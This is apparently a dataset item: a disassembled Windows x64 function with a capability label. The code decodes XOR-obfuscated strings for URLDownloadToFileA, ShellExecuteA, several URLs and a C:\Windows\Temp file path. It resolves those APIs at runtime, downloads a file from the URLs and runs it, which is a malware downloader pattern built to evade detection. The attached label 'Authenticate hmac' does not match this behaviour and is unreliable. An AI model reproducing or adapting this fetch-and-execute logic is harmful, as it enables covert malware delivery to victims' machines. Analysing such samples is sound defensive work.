Function at 0x1400011d0
Capabilities:
Authenticate hmac

Disassembly:
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
xor eax, eax
mov dl, 0x50
mov qword [rsp + 0x49], rax
movzx ecx, dl
mov dword [rsp + 0x51], eax
xor cl, 0x6c
movzx eax, dl
mov byte [rsp + 0x54], cl
xor al, 0x64
mov byte [rsp + 0x53], cl
mov byte [rsp + 0x52], al
movzx eax, dl
xor al, 0x2e
mov byte [rsp + 0x4e], cl
mov byte [rsp + 0x51], al
movzx ecx, dl
xor cl, 0x65
mov byte [rsp + 0x48], dl
movzx eax, dl
mov byte [rsp + 0x55], dl
xor al, 0x32
mov byte [rsp + 0x4d], cl
mov byte [rsp + 0x50], al
movzx eax, dl
xor al, 0x33
mov byte [rsp + 0x4a], cl
mov byte [rsp + 0x4f], al
movzx eax, dl
xor al, 0x6e
mov byte [rsp + 0x4c], al
movzx eax, dl
xor al, 0x72
mov byte [rsp + 0x4b], al
movzx eax, dl
xor al, 0x6b
mov byte [rsp + 0x49], al
lea rax, [rsp + 0x49]
nop word [rax + rax]
xor byte [rax], dl
lea rcx, [rsp + 0x56]
inc rax
cmp rax, rcx
je 0x140001276
movzx edx, byte [rsp + 0x48]
jmp 0x140001260
mov qword [rsp + 0x170], rbx
lea rcx, [rsp + 0x49]
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x188], r12
mov qword [rsp + 0x158], r14
mov qword [rsp + 0x150], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
je 0x140001b92
xor eax, eax
mov r8b, 0x50
mov qword [rsp + 0x59], rax
movzx ecx, r8b
mov dword [rsp + 0x61], eax
xor cl, 0x41
mov byte [rsp + 0x64], cl
movzx eax, r8b
xor al, 0x72
mov byte [rsp + 0x58], r8b
mov byte [rsp + 0x62], al
movzx ecx, r8b
mov byte [rsp + 0x60], al
xor cl, 0x79
movzx eax, r8b
mov byte [rsp + 0x63], cl
xor al, 0x62
mov byte [rsp + 0x65], r8b
mov byte [rsp + 0x5f], al
movzx edx, r8b
xor dl, 0x61
movzx eax, r8b
xor al, 0x69
mov byte [rsp + 0x61], dl
mov byte [rsp + 0x5e], al
movzx ecx, r8b
xor cl, 0x4c
mov byte [rsp + 0x5b], dl
movzx eax, r8b
mov byte [rsp + 0x5d], cl
xor al, 0x64
mov byte [rsp + 0x59], cl
mov byte [rsp + 0x5c], al
movzx eax, r8b
xor al, 0x6f
mov byte [rsp + 0x5a], al
lea rax, [rsp + 0x59]
nop dword [rax]
xor byte [rax], r8b
lea rcx, [rsp + 0x66]
inc rax
cmp rax, rcx
je 0x140001358
movzx r8d, byte [rsp + 0x58]
jmp 0x140001340
lea rdx, [rsp + 0x59]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001b92
xor eax, eax
mov dl, 0x50
mov qword [rsp + 0x39], rax
movzx ecx, dl
mov word [rsp + 0x41], ax
xor cl, 0x6c
movzx eax, dl
mov byte [rsp + 0x38], dl
xor al, 0x64
mov byte [rsp + 0x43], dl
mov byte [rsp + 0x40], al
movzx eax, dl
xor al, 0x2e
mov byte [rsp + 0x42], cl
mov byte [rsp + 0x3f], al
movzx eax, dl
xor al, 0x6e
mov byte [rsp + 0x41], cl
mov byte [rsp + 0x3e], al
movzx eax, dl
xor al, 0x6f
mov byte [rsp + 0x3b], cl
mov byte [rsp + 0x3d], al
movzx eax, dl
xor al, 0x6d
mov byte [rsp + 0x3c], al
movzx eax, dl
xor al, 0x72
mov byte [rsp + 0x3a], al
movzx eax, dl
xor al, 0x75
mov byte [rsp + 0x39], al
lea rax, [rsp + 0x39]
nop
xor byte [rax], dl
lea rcx, [rsp + 0x44]
inc rax
cmp rax, rcx
je 0x1400013f6
movzx edx, byte [rsp + 0x38]
jmp 0x1400013e0
lea rcx, [rsp + 0x39]
call rbx
mov r12, rax
mov r8b, 0x50
xor eax, eax
mov byte [rsp + 0x78], r8b
mov qword [rsp + 0x79], rax
movzx edx, r8b
mov dword [rbp - 0x7f], eax
xor dl, 0x6c
movzx eax, r8b
mov byte [rbp - 0x7c], r8b
xor al, 0x2e
mov byte [rbp - 0x7d], dl
mov byte [rbp - 0x80], al
movzx ecx, r8b
movzx eax, r8b
mov byte [rbp - 0x7e], dl
xor al, 0x32
mov byte [rsp + 0x7d], dl
mov byte [rsp + 0x7f], al
xor cl, 0x64
movzx eax, r8b
mov byte [rbp - 0x7f], cl
xor al, 0x33
mov byte [rsp + 0x7c], dl
mov byte [rsp + 0x7e], al
movzx eax, r8b
xor al, 0x65
mov byte [rsp + 0x7b], al
movzx eax, r8b
xor al, 0x68
mov byte [rsp + 0x7a], al
movzx eax, r8b
xor al, 0x73
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x79]
nop word [rax + rax]
xor byte [rax], r8b
lea rcx, [rbp - 0x7b]
inc rax
cmp rax, rcx
je 0x140001497
movzx r8d, byte [rsp + 0x78]
jmp 0x140001480
lea rcx, [rsp + 0x79]
call rbx
mov r14, rax
test r12, r12
je 0x140001bc5
test rax, rax
je 0x140001bc5
xor eax, eax
mov r8b, 0x50
mov word [rbp - 0x47], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x57], xmm0
movzx eax, r8b
mov byte [rbp - 0x58], r8b
xor al, 0x41
mov byte [rbp - 0x45], r8b
mov byte [rbp - 0x46], al
movzx edx, r8b
movzx eax, r8b
xor dl, 0x6c
xor al, 0x65
mov byte [rbp - 0x48], dl
mov byte [rbp - 0x47], al
movzx ecx, r8b
xor cl, 0x6f
mov byte [rbp - 0x50], dl
movzx eax, r8b
mov byte [rbp - 0x4b], cl
xor al, 0x69
mov byte [rbp - 0x4f], cl
mov byte [rbp - 0x49], al
movzx eax, r8b
xor al, 0x46
mov byte [rbp - 0x53], cl
mov byte [rbp - 0x4a], al
movzx eax, r8b
xor al, 0x54
mov byte [rbp - 0x4c], al
movzx eax, r8b
xor al, 0x64
mov byte [rbp - 0x4d], al
movzx eax, r8b
xor al, 0x61
mov byte [rbp - 0x4e], al
movzx eax, r8b
xor al, 0x6e
mov byte [rbp - 0x51], al
movzx eax, r8b
xor al, 0x77
mov byte [rbp - 0x52], al
movzx eax, r8b
xor al, 0x44
mov byte [rbp - 0x54], al
movzx eax, r8b
xor al, 0x4c
mov byte [rbp - 0x55], al
movzx eax, r8b
xor al, 0x52
mov byte [rbp - 0x56], al
movzx eax, r8b
xor al, 0x55
mov byte [rbp - 0x57], al
lea rax, [rbp - 0x57]
xor byte [rax], r8b
lea rcx, [rbp - 0x44]
inc rax
cmp rax, rcx
je 0x140001577
movzx r8d, byte [rbp - 0x58]
jmp 0x140001561
lea rdx, [rbp - 0x57]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov dl, 0x50
xor eax, eax
mov byte [rsp + 0x68], dl
mov qword [rsp + 0x69], rax
movzx ecx, dl
mov dword [rsp + 0x71], eax
xor cl, 0x41
mov word [rsp + 0x75], ax
movzx eax, dl
xor al, 0x74
mov byte [rsp + 0x75], cl
mov byte [rsp + 0x73], al
movzx ecx, dl
xor cl, 0x65
mov byte [rsp + 0x76], dl
movzx eax, dl
mov byte [rsp + 0x74], cl
xor al, 0x75
mov byte [rsp + 0x70], cl
mov byte [rsp + 0x72], al
movzx eax, dl
xor al, 0x63
mov byte [rsp + 0x6b], cl
mov byte [rsp + 0x71], al
movzx eax, dl
xor al, 0x78
mov byte [rsp + 0x6f], al
movzx eax, dl
xor al, 0x45
mov byte [rsp + 0x6e], al
movzx eax, dl
xor al, 0x6c
mov byte [rsp + 0x6d], al
mov byte [rsp + 0x6c], al
movzx eax, dl
xor al, 0x68
mov byte [rsp + 0x6a], al
movzx eax, dl
xor al, 0x53
mov byte [rsp + 0x69], al
lea rax, [rsp + 0x69]
nop
xor byte [rax], dl
lea rcx, [rsp + 0x77]
inc rax
cmp rax, rcx
je 0x140001626
movzx edx, byte [rsp + 0x68]
jmp 0x140001610
lea rdx, [rsp + 0x69]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rsi, rsi
je 0x140001bc5
test rax, rax
je 0x140001bc5
xor eax, eax
mov qword [rsp + 0x180], rdi
mov qword [rbp + 0x29], rax
mov dil, 0x50
xorps xmm0, xmm0
mov byte [rbp + 8], dil
movups xmmword [rbp + 0x19], xmm0
movzx eax, dil
movzx ecx, dil
xor al, 0x78
mov byte [rbp + 0x30], dil
mov byte [rbp + 0x2e], al
xor cl, 0x72
movups xmmword [rbp + 9], xmm0
movzx eax, dil
mov byte [rbp + 0x25], cl
xor al, 0x34
mov byte [rbp + 0x1d], cl
mov byte [rbp + 0x2b], al
movzx ebx, dil
xor bl, 0x65
movzx eax, dil
xor al, 0x57
mov byte [rbp + 0x2f], bl
mov byte [rbp + 0x2a], al
movzx r11d, dil
xor r11b, 0x2e
mov byte [rbp + 0x2d], bl
movzx eax, dil
mov byte [rbp + 0x2c], r11b
xor al, 0x45
mov byte [rbp + 0x1f], r11b
mov byte [rbp + 0x29], al
movzx r9d, dil
movzx eax, dil
mov byte [rbp + 0x1e], bl
xor al, 0x59
mov byte [rbp + 0x16], r11b
mov byte [rbp + 0x28], al
xor r9b, 0x2f
movzx eax, dil
mov byte [rbp + 0x23], r9b
xor al, 0x4f
mov byte [rbp + 0x14], bl
mov byte [rbp + 0x27], al
movzx r10d, dil
xor r10b, 0x74
movzx eax, dil
xor al, 0x36
mov byte [rbp + 0x22], r10b
mov byte [rbp + 0x26], al
movzx r8d, dil
xor r8b, 0x68
movzx eax, dil
xor al, 0x55
mov byte [rbp + 0x1b], r8b
mov byte [rbp + 0x24], al
movzx edx, dil
xor dl, 0x73
movzx eax, dil
xor al, 0x61
mov byte [rbp + 0x1a], dl
mov byte [rbp + 0x21], al
movzx ecx, dil
xor cl, 0x66
mov byte [rbp + 0x15], dl
movzx eax, dil
mov byte [rbp + 0x19], cl
xor al, 0x63
mov byte [rbp + 0x18], cl
mov byte [rbp + 0x20], al
movzx eax, dil
xor al, 0x6f
mov byte [rbp + 0x1c], al
mov byte [rbp + 0x17], al
movzx eax, dil
xor al, 0x6c
mov byte [rbp + 0x13], al
movzx eax, dil
xor al, 0x69
mov byte [rbp + 0x12], al
movzx eax, dil
mov byte [rbp + 0x11], cl
xor al, 0x3a
mov byte [rbp + 0x10], r9b
mov byte [rbp + 0xe], al
movzx eax, dil
xor al, 0x70
mov byte [rbp + 0xf], r9b
mov byte [rbp + 0xc], al
lea rax, [rbp + 9]
mov byte [rbp + 0xd], dl
mov byte [rbp + 0xb], r10b
mov byte [rbp + 0xa], r10b
mov byte [rbp + 9], r8b
nop word [rax + rax]
xor byte [rax], dil
lea rcx, [rbp + 0x31]
inc rax
cmp rax, rcx
je 0x1400017a5
movzx edi, byte [rbp + 8]
jmp 0x140001790
mov rdi, qword [rsp + 0x180]
xor eax, eax
mov qword [rbp - 0x2f], rax
mov bl, 0x50
mov dword [rbp - 0x27], eax
xorps xmm0, xmm0
mov word [rbp - 0x23], ax
movzx r8d, bl
movups xmmword [rbp - 0x3f], xmm0
xor r8b, 0x6c
mov byte [rbp - 0x40], bl
movzx eax, bl
mov byte [rbp - 0x23], r8b
xor al, 0x69
mov byte [rbp - 0x2c], r8b
mov byte [rbp - 0x24], al
movzx ecx, bl
xor cl, 0x6d
mov byte [rbp - 0x21], bl
movzx eax, bl
mov byte [rbp - 0x27], cl
xor al, 0x66
mov byte [rbp - 0x2e], cl
mov byte [rbp - 0x25], al
movzx r10d, bl
xor r10b, 0x65
movzx eax, bl
xor al, 0x6f
mov byte [rbp - 0x22], r10b
mov byte [rbp - 0x28], al
movzx r11d, bl
xor r11b, 0x2f
mov byte [rbp - 0x2b], r10b
movzx eax, bl
mov byte [rbp - 0x26], r11b
xor al, 0x78
mov byte [rbp - 0x31], r10b
mov byte [rbp - 0x30], al
movzx r9d, bl
xor r9b, 0x63
mov byte [rbp - 0x39], r11b
movzx eax, bl
mov byte [rbp - 0x29], r9b
xor al, 0x75
mov byte [rbp - 0x36], r9b
mov byte [rbp - 0x34], al
movzx edx, bl
xor dl, 0x2e
mov byte [rbp - 0x3a], r11b
movzx eax, bl
mov byte [rbp - 0x2a], dl
xor al, 0x6b
mov byte [rbp - 0x32], dl
mov byte [rbp - 0x35], al
movzx r8d, bl
xor r8b, 0x70
movzx eax, bl
xor al, 0x62
mov byte [rbp - 0x2d], r8b
mov byte [rbp - 0x38], al
movzx ecx, bl
xor cl, 0x61
mov byte [rbp - 0x33], r8b
movzx eax, bl
mov byte [rbp - 0x2f], cl
xor al, 0x3a
mov byte [rbp - 0x37], cl
mov byte [rbp - 0x3b], al
movzx eax, bl
xor al, 0x74
mov byte [rbp - 0x3c], r8b
mov byte [rbp - 0x3d], al
mov byte [rbp - 0x3e], al
movzx eax, bl
xor al, 0x68
mov byte [rbp - 0x3f], al
lea rax, [rbp - 0x3f]
xor byte [rax], bl
lea rcx, [rbp - 0x20]
inc rax
cmp rax, rcx
je 0x1400018b4
movzx ebx, byte [rbp - 0x40]
jmp 0x1400018a0
mov bl, 0x50
xorps xmm0, xmm0
movups xmmword [rbp - 0xf], xmm0
movzx eax, bl
movzx r8d, bl
xor al, 0x69
mov byte [rbp - 0x20], bl
mov byte [rbp - 3], al
xor r8b, 0x6c
movups xmmword [rbp - 0x1f], xmm0
movzx eax, bl
mov byte [rbp - 2], r8b
xor al, 0x66
mov byte [rbp - 0xb], r8b
mov byte [rbp - 4], al
movzx edx, bl
xor dl, 0x6d
mov byte [rbp], bl
movzx eax, bl
mov byte [rbp - 6], dl
xor al, 0x6f
mov byte [rbp - 0xd], dl
mov byte [rbp - 7], al
movzx r10d, bl
xor r10b, 0x65
movzx eax, bl
xor al, 0x78
mov byte [rbp - 1], r10b
mov byte [rbp - 0xf], al
movzx r11d, bl
xor r11b, 0x2f
mov byte [rbp - 0xa], r10b
movzx eax, bl
mov byte [rbp - 5], r11b
xor al, 0x32
mov byte [rbp - 0x10], r10b
mov byte [rbp - 0x12], al
movzx r9d, bl
xor r9b, 0x63
mov byte [rbp - 0x19], r11b
movzx eax, bl
mov byte [rbp - 8], r9b
xor al, 0x75
mov byte [rbp - 0x16], r9b
mov byte [rbp - 0x14], al
movzx ecx, bl
xor cl, 0x2e
mov byte [rbp - 0x1a], r11b
movzx eax, bl
mov byte [rbp - 9], cl
xor al, 0x6b
mov byte [rbp - 0x11], cl
mov byte [rbp - 0x15], al
movzx r8d, bl
xor r8b, 0x70
movzx eax, bl
xor al, 0x62
mov byte [rbp - 0xc], r8b
mov byte [rbp - 0x18], al
movzx edx, bl
xor dl, 0x61
mov byte [rbp - 0x13], r8b
movzx eax, bl
mov byte [rbp - 0xe], dl
xor al, 0x3a
mov byte [rbp - 0x17], dl
mov byte [rbp - 0x1b], al
movzx eax, bl
xor al, 0x74
mov byte [rbp - 0x1c], r8b
mov byte [rbp - 0x1d], al
mov byte [rbp - 0x1e], al
movzx eax, bl
xor al, 0x68
mov byte [rbp - 0x1f], al
lea rax, [rbp - 0x1f]
nop word [rax + rax]
xor byte [rax], bl
lea rcx, [rbp + 1]
inc rax
cmp rax, rcx
je 0x1400019c4
movzx ebx, byte [rbp - 0x20]
jmp 0x1400019b0
xor eax, eax
mov r9b, 0x50
mov qword [rbp - 0x67], rax
xorps xmm0, xmm0
mov word [rbp - 0x5f], ax
movzx r8d, r9b
movups xmmword [rbp - 0x77], xmm0
xor r8b, 0x65
mov byte [rbp - 0x78], r9b
movzx eax, r9b
mov byte [rbp - 0x5d], r9b
xor al, 0x78
mov byte [rbp - 0x5e], r8b
mov byte [rbp - 0x5f], al
movzx ecx, r9b
movzx eax, r9b
mov byte [rbp - 0x60], r8b
xor al, 0x2e
mov byte [rbp - 0x66], r8b
mov byte [rbp - 0x61], al
xor cl, 0x6f
movzx eax, r9b
mov byte [rbp - 0x63], cl
xor al, 0x21
mov byte [rbp - 0x6b], r8b
mov byte [rbp - 0x62], al
movzx edx, r9b
xor dl, 0x5c
mov byte [rbp - 0x70], cl
movzx eax, r9b
mov byte [rbp - 0x68], dl
xor al, 0x6c
mov byte [rbp - 0x6d], dl
mov byte [rbp - 0x64], al
mov byte [rbp - 0x65], al
movzx eax, r9b
xor al, 0x48
mov byte [rbp - 0x75], dl
mov byte [rbp - 0x67], al
movzx eax, r9b
xor al, 0x70
mov byte [rbp - 0x69], al
movzx eax, r9b
xor al, 0x6d
mov byte [rbp - 0x6a], al
movzx eax, r9b
xor al, 0x54
mov byte [rbp - 0x6c], al
movzx eax, r9b
xor al, 0x73
mov byte [rbp - 0x6e], al
movzx eax, r9b
xor al, 0x77
mov byte [rbp - 0x6f], al
movzx eax, r9b
xor al, 0x64
mov byte [rbp - 0x71], al
movzx eax, r9b
xor al, 0x6e
mov byte [rbp - 0x72], al
movzx eax, r9b
xor al, 0x69
mov byte [rbp - 0x73], al
movzx eax, r9b
xor al, 0x57
mov byte [rbp - 0x74], al
movzx eax, r9b
xor al, 0x3a
mov byte [rbp - 0x76], al
movzx eax, r9b
xor al, 0x43
mov byte [rbp - 0x77], al
lea rax, [rbp - 0x77]
nop dword [rax]
xor byte [rax], r9b
lea rcx, [rbp - 0x5c]
inc rax
cmp rax, rcx
je 0x140001ac6
movzx r9d, byte [rbp - 0x78]
jmp 0x140001ab0
xor ebx, ebx
lea r8, [rbp - 0x77]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 9]
xor ecx, ecx
call rsi
test eax, eax
je 0x140001b14
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, [rbp - 0x77]
xor ecx, ecx
lea rdx, [rbp - 0x3f]
call rsi
test eax, eax
je 0x140001b14
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, [rbp - 0x77]
xor ecx, ecx
lea rdx, [rbp - 0x1f]
call rsi
test eax, eax
jne 0x140001bc5
xor eax, eax
mov cl, 0x50
mov dword [rsp + 0x31], eax
movzx eax, cl
xor al, 0x6e
mov byte [rsp + 0x30], cl
mov byte [rsp + 0x34], al
movzx eax, cl
xor al, 0x65
mov byte [rsp + 0x35], cl
mov byte [rsp + 0x33], al
movzx eax, cl
xor al, 0x70
mov byte [rsp + 0x32], al
movzx eax, cl
xor al, 0x6f
mov byte [rsp + 0x31], al
lea rax, [rsp + 0x31]
nop dword [rax]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x36]
cmp rax, rcx
je 0x140001b66
movzx ecx, byte [rsp + 0x30]
jmp 0x140001b50
mov dword [rsp + 0x28], ebx
lea r8, [rbp - 0x77]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x31]
xor ecx, ecx
call r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov r15, qword [rsp + 0x150]
mov r14, qword [rsp + 0x158]
mov r12, qword [rsp + 0x188]
mov rsi, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rbp
ret
mov eax, 1
jmp 0x140001b94